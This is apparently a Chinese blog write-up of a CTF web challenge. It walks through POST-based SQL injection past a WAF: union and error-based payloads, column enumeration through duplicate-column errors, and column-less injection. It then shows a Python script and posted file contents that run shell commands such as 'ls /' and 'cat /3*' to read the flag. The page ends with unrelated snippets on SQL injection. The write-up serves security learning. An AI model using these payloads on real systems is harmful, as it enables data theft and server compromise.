學習 SQL注入 POST注入

2021-08-11 03:16:05 字數 3674 閱讀 9285

實踐:

頁面顯示:

看來目標很明確,還是要注入

#post

pro_id=1 and 1=1

#post

pro_id=1 and 1=2

發現存在注入

#post

pro_id=0 union select 1,2,3,4

存在四列,且顯示的位置為2

這邊使用了version()、database()、user()測試,發現了存在waf

#post

pro_id=0 union select 1,version(),3,4

->得到 5.5.58-0ubuntu0.14.04.1

同理 user()

->得到 biubiubiu@localhost

database()

-> 存在waf,獲取失敗

#偶然間嘗試了一下,(其實是忘記打了逗號)

pro_id=0 union select 1user(),3,4

發現會報錯誤,並且爆出來資料庫名: youcanneverfindme

通過測試發現 database 、 tables 、 columns 、 information 都被ban了

所以不能從information_schema庫里得到表名和列名了

#這邊使用到的是mysql報錯函式: linestring()

#post

pro_id=0 and linestring(pro_id)

->報錯資訊:illegal non geometric '`youcanneverfindme17`.`product_2017ctf`.`pro_id`' value found during parsing
意外發現了

資料庫:youcanneverfindme17

表:product_2017ctf

乙個字段:pro_id

知道庫名、表名後,可以利用報錯注入得到列名

#post

pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id))c)

-> duplicate column name 'pro_name'

#得知第二個字段叫做 pro_name

#post

pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id,pro_name))c)

-> duplicate column name 'owner'

#得知第三個字段叫做 owner

#post

pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id,pro_name,owner))c)

-> duplicate column name 'd067a0fa9dc61a6e'

#得知第四個字段叫做 d067a0fa9dc61a6e

#post

pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id,pro_name,owner,d067a0fa9dc61a6e))c)

-> waf is father!

#好吧,爆不下去了,又被waf了!

想到提示是,下乙個入口是乙個欄位加乙個錶值,那麼猜想 d067a0fa9dc61a6e 應該就是那個欄位了,現在就是去讀取表中的值

#post --奇怪的姿勢

#首先 offset 偏移設定 1

pro_id=0 union all select null,concat((select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from product_2017ctf)e limit 1 offset 1 )),null,null--

-> product name:wobuzaizheli

#post offset 2

-> product name:nextnext

#post offset 3

-> product name:7195ca99696b5a896.php

方法二

#無列名注入

pro_id=-1 union select 1,d,3,4 from (select 1 a,2 b,3 c,4 d union select * from product_2017ctf limit 3,1)***

-> product name:7195ca99696b5a896.php

訪問:

頁面顯示:

附上payload

#python 2.7

import requests

import re

url = ""

user_agent = "***"

t = requests.post(url, headers = , data = ).text

[path] = re.findall('files.*/zzz.php', t)

requests.post(url, headers = , data = )

#requests.post(url, headers = , data = )

requests.post(url, headers = , data = )

url1 = ""

r = requests.get(url1+path)

print r.text

得到flag: lctf

說明:

按順序post提交下面3條

filename=p.php&content==`*`;

filename=bash&content=***

filename=bash2&content=ls /

再訪問p.php,就可以看到

327a6c4304ad5938eaf0efb6cc3e53dc.php

再post

filename=bash2&content=cat /3*

再去訪問p.php,右鍵檢視源**看到flag

–利用參考

POST注入與Head注入

post注入 post注入與get注入的區別在於表單的傳遞方式,無本質差別 get傳參通過url編碼,使用?來標識,資料量有限 post注入一般對輸入框進行傳參,資料量比較大 查詢是否有注入點 對輸入框填入一些閉合的符號,看頁面是否異常 例如 嘗試使用萬能密碼 admin或123465或 or 1 ...

如何應對POST型sql注入

前兩天挖了乙個漏洞這裡總結一下 post型sql注入過濾驗證碼 拿到後台我先測試一波萬能密碼 1 or 1 1 or or 發現回顯不同就判定存在sql注入 然後我就直接上sqlmap嘍 直接跑請求包 不過sqlmap的命令也有講究 開始我使用命令 sqlmap.py r 1.txt dbs ran...

SQL注入 報錯注入

乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...